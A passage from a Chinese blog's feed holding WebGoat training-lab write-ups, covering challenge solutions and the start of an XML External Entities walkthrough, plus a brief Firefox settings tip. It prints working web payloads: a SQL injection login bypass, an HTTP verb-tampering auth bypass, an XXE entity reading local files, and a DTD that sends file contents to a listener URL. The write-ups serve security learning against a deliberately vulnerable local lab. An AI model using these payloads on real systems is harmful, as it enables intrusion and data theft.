&lt;p&gt;同样还是先试试SQL注入，似乎用户名一定要是&lt;code&gt;Larry&lt;&#x2F;code&gt;，但是密码可以注入，输入&lt;code&gt;&#x27;or true--&lt;&#x2F;code&gt;就行了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;admin-password-reset&quot;&gt;Admin password reset&lt;&#x2F;h2&gt;
&lt;p&gt;同样，还是先发一封邮件给自己，看看url有什么规律，但是似乎是随机生成的，算了，还是翻源码吧。&lt;&#x2F;p&gt;
&lt;p&gt;这题原来是git泄露，访问&lt;code&gt;http:&#x2F;&#x2F;127.0.0.1:8080&#x2F;WebGoat&#x2F;challenge&#x2F;7&#x2F;.git&lt;&#x2F;code&gt;，把git包下载下了，解压，恢复至最新版，里面有6个文件。用反编译工具打开一个最显眼的&lt;code&gt;PasswordResetLink.class&lt;&#x2F;code&gt;，代码如下:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;java&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Random&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;PasswordResetLink &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;createPasswordReset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;paramString1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;paramString2&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Random&lt;&#x2F;span&gt;&lt;span&gt; random &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Random&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(paramString1.equalsIgnoreCase(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;admin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;      random.setSeed(paramString2.length()); 
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;scramble(random, scramble(random, scramble(random, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;MD5&lt;&#x2F;span&gt;&lt;span&gt;.getHashString(paramString1))));
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;scramble&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Random &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;paramRandom&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;paramString&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[]&lt;&#x2F;span&gt;&lt;span&gt; arrayOfChar &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; paramString.toCharArray();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;byte&lt;&#x2F;span&gt;&lt;span&gt; b &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; b &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; arrayOfChar.length; b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; paramRandom.nextInt(arrayOfChar.length);
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; arrayOfChar[b];
&lt;&#x2F;span&gt;&lt;span&gt;      arrayOfChar[b] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; arrayOfChar[i];
&lt;&#x2F;span&gt;&lt;span&gt;      arrayOfChar[i] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; c;
&lt;&#x2F;span&gt;&lt;span&gt;    } 
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt;(arrayOfChar);
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[] &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;paramArrayOfString&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(paramArrayOfString &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; paramArrayOfString.length &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.println(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Need a username and key&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.exit(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    } 
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt; str1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; paramArrayOfString[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt; str2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; paramArrayOfString[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.println(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Generation password reset link for &amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; str1);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;System&lt;&#x2F;span&gt;&lt;span&gt;.out.println(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Created password reset link: &amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;new &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;PasswordResetLink&lt;&#x2F;span&gt;&lt;span&gt;()).createPasswordReset(str1, str2));
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里的Main函数都写好了，直接运行吧&lt;code&gt;java PasswordResetLink admin xxx&lt;&#x2F;code&gt;，但是还缺第二个参数，但是这里只要用到它的长度，可以一点一点试。但是试到10位数都不对。&lt;&#x2F;p&gt;
&lt;p&gt;又去翻源码了，源码中，这里的第二个参数是&lt;code&gt;webgoat&lt;&#x2F;code&gt;，但是，我生成的编号和它的就是不一样，可能是java的版本不同吧(我用的是java14)，但源码中是硬编码写在里面的，只能直接用了。&lt;code&gt;375afe1104f4a487a73823c50a9292a2&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;without-account&quot;&gt;Without account&lt;&#x2F;h2&gt;
&lt;p&gt;先随便点点，发现每次试图投票，控制台都会输出一堆数字。但也没什么用，继续翻源码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&lt;span&gt;@GetMapping(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;value &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&#x2F;challenge&#x2F;8&#x2F;vote&#x2F;{stars}&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;produces &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;MediaType&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;APPLICATION_JSON_VALUE&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;@ResponseBody
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;public &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ResponseEntity&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; vote(@PathVariable(value &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;stars&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; nrOfStars, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;HttpServletRequest&lt;&#x2F;span&gt;&lt;span&gt; request) {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;Simple implementation of VERB Based Authentication
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span&gt; msg &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(request.getMethod().equals(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;GET&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;var&lt;&#x2F;span&gt;&lt;span&gt; json &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Map&lt;&#x2F;span&gt;&lt;span&gt;.of(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;error&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;message&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Sorry but you need to login first in order to vote&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ResponseEntity&lt;&#x2F;span&gt;&lt;span&gt;.status(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;200&lt;&#x2F;span&gt;&lt;span&gt;).body(json);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Integer&lt;&#x2F;span&gt;&lt;span&gt; allVotesForStar &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; votes.getOrDefault(nrOfStars, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    votes.put(nrOfStars, allVotesForStar &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;ResponseEntity&lt;&#x2F;span&gt;&lt;span&gt;.ok().header(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;X-Flag&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Thanks for voting, your flag is: &amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Flag&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;FLAGS&lt;&#x2F;span&gt;&lt;span&gt;.get(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)).build();
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前面用的是&lt;code&gt;GetMapping&lt;&#x2F;code&gt;，但是后面又要求请求不是&lt;code&gt;GET&lt;&#x2F;code&gt;，所以随便写一个不常用的请求方式就行了，比如&lt;code&gt;HEAD&lt;&#x2F;code&gt;，flag就在返回消息的头部。这是一种叫做&lt;code&gt;Authentication Bypass Using HTTP Verb Tampering&lt;&#x2F;code&gt;的漏洞。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;用了一个国庆，把WebGoat全部做完了，收获还是很多的，了解了各种常见的Web漏洞，自然也知道了如何才能防范这些漏洞。以后有可能会继续做做DVWA，可以了解一下php世界的Web安全。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>手机Firefox禁止知乎简书跳转App</title>
        <published>2020-10-07T00:00:00+00:00</published>
        <updated>2020-10-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/shou-ji-firefoxjin-zhi-zhi-hu-jian-shu-tiao-zhuan/"/>
        <id>https://richar.top/shou-ji-firefoxjin-zhi-zhi-hu-jian-shu-tiao-zhuan/</id>
        
        <content type="html" xml:base="https://richar.top/shou-ji-firefoxjin-zhi-zhi-hu-jian-shu-tiao-zhuan/">&lt;p&gt;手机没有装知乎和简书时，用Firefox浏览网页版时，总是会这样：&lt;img src=&quot;.&#x2F;unknow_protocol.jpg&quot; alt=&quot;unknow_protocol&quot; style=&quot;max-width: 50%;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;解决方法：手机Firefox地址栏输入&lt;code&gt;about:config&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;插入两个键&lt;code&gt;network.protocol-handler.external.zhihu&lt;&#x2F;code&gt;和&lt;code&gt;network.protocol-handler.external.jianshu&lt;&#x2F;code&gt;，值都为&lt;code&gt;false&lt;&#x2F;code&gt;就行了。&lt;img src=&quot;.&#x2F;add_key.jpg&quot; alt=&quot;add_key&quot; style=&quot;max-width: 50%;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>WebGoat之路-4-XML External Entities &amp; Broken Access Control</title>
        <published>2020-10-07T00:00:00+00:00</published>
        <updated>2020-10-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/webgoat-4-xxe-broken-access-control/"/>
        <id>https://richar.top/webgoat-4-xxe-broken-access-control/</id>
        
        <content type="html" xml:base="https://richar.top/webgoat-4-xxe-broken-access-control/">&lt;h1 id=&quot;a4-xml-external-entities-xxe&quot;&gt;(A4) XML External Entities (XXE)&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xee&quot;&gt;XEE&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;stage-4&quot;&gt;Stage 4&lt;&#x2F;h3&gt;
&lt;p&gt;把请求的XML改成这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;xml version=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;comment &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;[
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;    &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;ENTITY &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;js &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;SYSTEM &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;file:&#x2F;&#x2F;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;comment&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;	&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;&amp;amp;js;&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;comment&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stage-7&quot;&gt;Stage 7&lt;&#x2F;h3&gt;
&lt;p&gt;虽然请求是用的json，但是我们可以直接把&lt;code&gt;Content-Type&lt;&#x2F;code&gt;改成&lt;code&gt;application&#x2F;xml&lt;&#x2F;code&gt;，把上面的xml再发一遍就行了。Stage 8是完整的解题过程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stage-8&quot;&gt;Stage 8&lt;&#x2F;h3&gt;
&lt;p&gt;在WebWolf里上传文件a1.dtd。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;xml version=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1.0&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;encoding=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;UTF-8&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#b90622;color:#f8f8f0;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;!ENTITY % write &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#b90622;color:#f8f8f0;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;!ENTITY send SYSTEM &amp;#39;http:&#x2F;&#x2F;127.0.0.1:9090&#x2F;landing?text=%file;&amp;#39;&amp;gt;&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在提交评论时，把提交内容改成下面的内容。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&lt;span&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;xml version=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;1.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;?&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;DOCTYPE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;root &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c8cecc;&quot;&gt;[
